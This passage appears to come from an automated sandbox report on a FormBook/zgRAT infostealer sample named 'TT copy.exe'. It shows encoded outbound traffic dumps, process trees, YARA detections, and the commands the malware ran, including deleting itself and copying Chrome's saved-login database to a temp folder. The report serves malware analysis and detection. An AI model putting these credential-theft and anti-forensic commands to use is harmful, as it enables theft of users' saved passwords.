bT7tPLpx=7WKKd8FSf99xdvNzYovvHQ0nex3FzLYVGGDu8g~POY5zXFBR(i83MUAQt6y-~9ZzJlCChBEYLEehC4dzDkWzrUQYv5C0AtUVGLCQT9nebQbV1bxCoeyQ~2~Fn0WeF0pPQN4gs_nSsTeOwaPFlvyPUAoWqEZDVJ6IvgAenlO0gfjUVqAMTPB-zqxHeO38vudLLiHl9NA86qW6~lJhmwcByJD5AXStigut5Ka3waUmMWSdJS18nVXX5z4XnQqoWMSbH6r7qgmA37cMD7byJc3l6tyJ5n3ZPCE3MdXEAYgia64wvLCLLp3RVnQkzYgw0lyTQuC2OU2TRKyfNJ(9ty9T8k~fd0OC6UZxDsxoXbgmI54LnPHpHMbffNd84ki2xat16Q7Vmv33RunmyJ7vgsfGwtzbJW1rqIA2Gteq(woSR0UgLuBURUNUIfH50Tjf5FheSXV73SLE9uWX~VQMlibGDRHAz53J2O~PosgFzlpRfxKuuvfBvXMp8PfvdY3foM2e~0BcP8~5nQVWiws3(Pm1(A9Az32l1eF2DBfMYRiN1R~A0ElDoaLgLbADOhWXdenzIFNpC5Isiq~tGmchDwYR2qPm6z1uMJnf(_(1UJFR6ctIaEnus7OSsMRLVNAT(nJabqSW4VgEd3CFSFDAPvAPe_vcaaqKDgglRNumjDooheX_xOHxcmsTQBl2etggZ_gOark1nVKhcbOQZSnzAE(Uss11LMUF6798e9BAQAJOyvz5ZwzoX-T2TrTWPELP4KTNbSC_Oqoe3HCkiuq0u47VI_OoqeZxKwTJm9ewoSE9uDSgdqaMIIexixxMVADI(8ofUeDTDhmSc6V1NNr_z8uKJo4w8gnHPBNNbhrvtbKkEct44J2bwB5-jClMktNrnO0FrKxhzuiJg4LG7MXyiKiBKlDCCEkKjyXUA2LRc9pnObse2saUFgX4qYDUdlNo9aHPYX~4Ci7l6C56D954TfBs74J50LHpaDq3FEg19sU2LD93PPyd3ooTNq8jKVWswvVLoq~-dGDq355LZzCE~te6jyDvs081F8VIo5sHe30NFEupnMMeaH5-p8B2lQvOzNjVJwD_Xzz2am3yL5aUCevbSvRKgtg46SkFPcNa2gBTCDD7r62eZ_vTCcjNzy5c3bAQ7_bgd-OiIg1_GAnFGtYGKtdUgwod~tDhiRctMlQ-faLzPHJP4xzsQQwxVqchwEoANtMIiaZN(-WeJr29Iz2_m85ie5hoWdbf~q91zwmLyv(TmVmj4bpc4B9ncZhgPHSPfIfT3wUTj-gejjI5ouK45KzCdEYfT6ZIybEmwrFuOdZb3xouwRQrC1MP7oM3f2DIopfIysdT4dLg~jlRl3m3csDu93UebzLBSMRsIDMInot-f_6Gxr9j(6PcwILqZFkmhqeZjokA3B96GCtiC1RbRenV6N7CTAqKy_dbQF1OgJ(FRUjSAyJSMTLy9ldCbxD5o8hO6hk9WslHnlbyGt2LuGtwjx2KOgJX1rpwCOvCrsn-3u0e8D39qFzpwx51TTzXC-N6MutWT5Wl8FryJdJ1v0WT7eLEsoNx(mHzCvaSbGcl684CVJ1cBEE6BpozgVFPn8NVmlVIuTE1g8qboLYicEocwa6vSp(pOA4WAp(ba8kM34FOAJqe8ZMAT-2gfscCp22-vG8YD5wqRUHXP01bd4tEUsL1LVOAR0oshO9fUoJgzFBsvegRFjfOCWa0OgkXeLFENHO5GIbxvFQqLbta0ZffNdpY3uzvGAbpC-q06gtG5R5hwOTLxjb3k05Hhv2GwZNVbGVge0C3oKPffQiU4QiEFxNGmt0j5ia9A5YfXJYtvXPVuMR3QlPzWcziuRSWOApQh142HD6wN6DBEZEJB-w1ymbxSnILNhlp6oTEUtklwDitGU9hKTRLUHmjKu39L7~WqXmxiA3Z4wEtGtfNzla6YGE3gWE0KNtGqD7tdmJVxA9PN66I7m1vO3ckqoogFWLNbrGiPzk6p92YiU6M1M9ZekqTj6Ft0BH7lAPW5w5CmWjPxipeb1pNSv9Q(7KUXTj_TCk-iKFKzRzbqV5U427d6f7_mWVl6CJivy3ahHdRtMbZrrdS81muL6sklq~h7vUombCYc_2yByGiEd5rQ275eqZbk4iWz8NENj2XOmlCh-Nip3YotfQaJCkfjg2DQHv5hxCInBMYrp5fxQeTqBEvqwJtj8to8AYjAWSlGhTKzq88AtgM3TaCAUyl5fbp98FO3HyZWwRrJtdLZxeU1MmpEhCQt9EraFovESyjUScT1DUlN2EMnlwaw_TInlbKDbXuDftDNbvt3DEjox8NPxFxSfJusrsQx0abUejD~2LRYVWW1xnLrCbrM67jyuGfD7V1le(H29uLQWBYra9iCAqiMe09hy1OfTEVCrEEzM1yyP39L_tnGPEvmeIi8ITj~2qsaYYSGPtzISOQIqABM3zWoulmBNvRygsyI4mEoOpbpqyN334VZEpr~vP3AllXz5ITOP9DySvcIQB4RiBifMrEqJKSyWVwtrMJZ_2Vlq8RmGySsReOmpEK4cImhwWkCYyYzX0cYuctY0r1f0aJNoZ1elRVWBy9Rkxzk8SM1RbGV23W12DmeB6DkVsqsJamWKPebDKXk5RdHYhSqWnKj53VoJdi24x_GOX39dMB3irZG1ZHI-gK5McDip383geP3tJYTSOE73kAu8wf(3TAcPySw6tXcWG9jY(Vx1bz9Va1t_rP7Hg-EWvQBZ4jZsOIdYorgNRJYHKGm5XmszHrCkuIaYPKeF~Q52oHrMsj~gGdL7KkR0Z3t8yqsWoAaQ1sxbcHA4bPas~0nNrF5NVD~2QPAbq0VkVPD6xXbbRqEFMwf-M5DgOmqoIIxaLMefWM(AQsehkh3d5gxJE3CrVRTZEbat3xnj31BIOX4AxiIxuz6SUjez~lJHnsFFTe65psWbbuclaUMVbT29hp1mkqrqx08scHGI5J2ePre4MQX42ZreKG6lANaZCZp_8SQXCdNuvtw4AGwN0LOSBb85NYSIoh(bN6uswzNGEh0dwRFSiI75z0Ihn-7UPmTQGxmpOD82C5NfVKRzyXsVgWST6T9OvQ2hfBNHB-PS4rBSb4qKxTxysaLNzJOf3GkZ2sBOgFHHj4I0KZWTpENSMB(45odvz9bFLIibfrsAwhxFYMyQmFrQJvgLRqD7dkcmMUdVgpyws6gNw1krRVLrafyzi9aNchNtr8DCokgEN4JRxqhkZgyV1-zRtlOVnkK8TvAOOykwOB~X~xG1FOx7Z3ln49wPm3kqg3P5NIOjl85k5ZVS~Eme1DzRFUOTGlAS8HLUyn3koA9w2L88Ebjlhj8lfD1frg7ilsFmnqT7JgL-KGM6C-VEGFbkFhPhhPWIV1SjTeefqIfH802-L82He5gPo1Hdp_RjvXENaBlaOSVMkn4wS0Ib4JzoSP2olniDj7mg2SxrqJVDrMr60Yo8xi2Y8dAVUAer8DyJldpmdx4OQLaANk9OTjCSPA9AHGe26G~axuK2rClHn32BBZMlcXnNoMWN1lhuBMnYjD(fES7ESm(AbnZDnA77GMFjDJSxGMlQtMiAXVpBAInqbLyovn8s0Cf7um76~rbvJOgHqnaavaZE0KLIKSXig1OYjFuEDcDLSyWKaVkN8u8KIwZvoJuwiy(br6dwWrYutatseTiWQ1nyNLZjNqPnrpuU(yC_VjDwTSv_B7JvdGds(zI2Me1_4_JFVKY3MdVfT33-YhlER861BsHuNiRQBuWe5-IKgC1q~7PSeMZRoEIo5VS3vksz1ijai9KiXjuuMGbZML4_sR~j1iVCiVTkdhxet8XO5AxFzvpXDUJuUoIZX4F_LfFbu-F3xIhqeb8sNVoboGIA1DzVJveaheJlaMTgK0b-vi8D5j88BC0Aw0z_OWOS(RgajHhFB4Yf3aQKkFBAxJo2LTSm9aTHqLNpKryufiiO~8ZncaDsaYqNmxGlsQOM(5wEf6SukaV3mfsJ5z2Ddrqiz6P3uEfTcMQypeX7rhPcudFlCcGPA15QKq2F(p08R2bOrdw1rEPN124j(SjlAk8koX2_lK3
Jun 3, 2022 08:17:49.218961954 CEST	10615	OUT	Data Raw: 69 30 6c 59 58 6a 50 58 57 50 4e 4a 6a 38 75 76 66 32 78 6f 74 33 49 64 49 31 4a 4a 62 63 5a 41 59 66 45 65 64 59 77 78 77 4b 33 38 70 49 72 6d 64 6e 7a 71 64 63 55 42 56 39 56 49 6a 6c 61 5a 4b 6f 6c 51 74 30 59 68 6e 71 78 65 28 72 5a 6f 6e 73 Data Ascii: i0lYXjPXWPNJj8uvf2xot3IdI1JJbcZAYfEedYwxwK38pIrmdnzqdcUBV9VIjlaZKolQt0Yhnqxe(rZonsI1beHF16~oQQNbrcaBHrmIJCgkj-6s3qLNMpQ6ClCJ1SUIoAfon2YUswE9DMXram4mQkz18tUW2wh3P3qSRvhGuoxr6ntjVZbLnAbcECNRAwpqDwheoD06FaseNvfXklIwce6_hZIt9V9QnWeIPF38i_6HoDCqkOY
Jun 3, 2022 08:17:49.219019890 CEST	10620	OUT	Data Raw: 73 51 39 71 58 75 38 46 68 66 78 69 53 2d 74 5a 55 4a 39 55 59 39 50 63 6c 69 47 79 28 76 74 78 32 4c 30 67 44 7a 72 72 4c 38 62 55 79 53 44 65 62 58 61 66 74 62 6e 35 37 4a 64 38 6d 76 48 62 34 68 55 4a 54 4e 4d 6b 4c 67 63 4e 58 54 56 34 76 35 Data Ascii: sQ9qXu8FhfxiS-tZUJ9UY9PcliGy(vtx2L0gDzrrL8bUySDebXaftbn57Jd8mvHb4hUJTNMkLgcNXTV4v5tbCXub0uVyKpYyQanjWCqOQS2GWJlrbDMRKUY4rLM43DYq0CwPUHdMtOO7IWDtEW9Bea7ek0RZlEn6rfxzImyZkgZuOzTUQzxAEOHM6onQYXkUrIbQ(UtYMvujeoa7xrjnl1QGfF6qczw2tE02IBteMbVbtuo05Za
Jun 3, 2022 08:17:49.420046091 CEST	10664	OUT	Data Raw: 36 4a 58 72 78 6d 53 69 4c 4d 47 73 35 49 6d 4d 31 42 6a 46 71 4f 31 44 68 57 4e 36 48 68 45 45 59 6a 35 68 48 50 51 6f 61 4b 42 32 47 72 36 65 39 68 7e 34 6c 78 6a 78 4a 5f 73 75 64 67 31 59 78 59 58 2d 79 77 44 38 7a 4b 28 51 47 76 36 7a 59 48 Data Ascii: 6JXrxmSiLMGs5ImM1BjFqO1DhWN6HhEEYj5hHPQoaKB2Gr6e9h~4lxjxJ_sudg1YxYX-ywD8zK(QGv6zYHv_N3IA6MSxK62Lxvmgwpa95tEpf8vLRjZ3shauB2Hm3LQTsdQWPG3uU7tmy2gicSLd0hV40mgfY-6pYurgOiPNBFv_W7srDdLnJhBNOrj4HIWhuT9xUuIzV_SPa8eK3wBxtsX83rGGoCeF1tRKj7JG6iCEpiPR3BS
Jun 3, 2022 08:18:49.617053986 CEST	11191	IN	HTTP/1.1 504 Gateway Time-out Server: nginx Date: Fri, 03 Jun 2022 06:18:49 GMT Content-Type: text/html Content-Length: 176 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>504 Gateway Time-out</title></head><body bgcolor="white"><center><h1>504 Gateway Time-out</h1></center><hr><center>nginx</center></body></html>

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: TT copy.exePID: 1800, Parent PID: 3868

General

Target ID:	0
Start time:	08:15:19
Start date:	03/06/2022
Path:	C:\Users\user\Desktop\TT copy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\TT copy.exe"
Imagebase:	0x520000
File size:	661504 bytes
MD5 hash:	6443C909D7E8034F945F3E1DC138A046
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.287883851.0000000002983000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: 00000000.00000002.294087756.0000000007160000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.287958133.00000000029A8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.289098231.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.289098231.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.289098231.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: TT copy.exePID: 1388, Parent PID: 1800

General

Target ID:	3
Start time:	08:15:30
Start date:	03/06/2022
Path:	C:\Users\user\Desktop\TT copy.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\TT copy.exe
Imagebase:	0x520000
File size:	661504 bytes
MD5 hash:	6443C909D7E8034F945F3E1DC138A046
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.357881887.0000000000F70000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.357881887.0000000000F70000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.357881887.0000000000F70000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.355171792.0000000000F40000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.355171792.0000000000F40000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.355171792.0000000000F40000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000000.277077283.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000000.277077283.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000000.277077283.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.352260346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.352260346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.352260346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000000.276708609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000000.276708609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000000.276708609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: explorer.exePID: 3616, Parent PID: 1388

General

Target ID:	7
Start time:	08:15:37
Start date:	03/06/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6f3b00000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000000.320130923.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000000.320130923.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000000.320130923.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000000.338379852.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000000.338379852.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000000.338379852.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exePID: 3800, Parent PID: 3616

General

Target ID:	15
Start time:	08:16:03
Start date:	03/06/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe
Imagebase:	0xfc0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000F.00000002.774935226.0000000003430000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000F.00000002.774935226.0000000003430000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000F.00000002.774935226.0000000003430000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000F.00000002.773452103.0000000000F30000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000F.00000002.773452103.0000000000F30000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000F.00000002.773452103.0000000000F30000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000F.00000002.775282393.0000000003660000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000F.00000002.775282393.0000000003660000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000F.00000002.775282393.0000000003660000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: cmd.exePID: 1448, Parent PID: 3800

General

Target ID:	16
Start time:	08:16:12
Start date:	03/06/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del "C:\Users\user\Desktop\TT copy.exe"
Imagebase:	0x1190000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exePID: 1584, Parent PID: 1448

General

Target ID:	17
Start time:	08:16:13
Start date:	03/06/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff647620000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exePID: 5224, Parent PID: 3800

General

Target ID:	28
Start time:	08:17:19
Start date:	03/06/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V
Imagebase:	0x1190000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exePID: 5472, Parent PID: 5224

General

Target ID:	29
Start time:	08:17:20
Start date:	03/06/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff647620000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high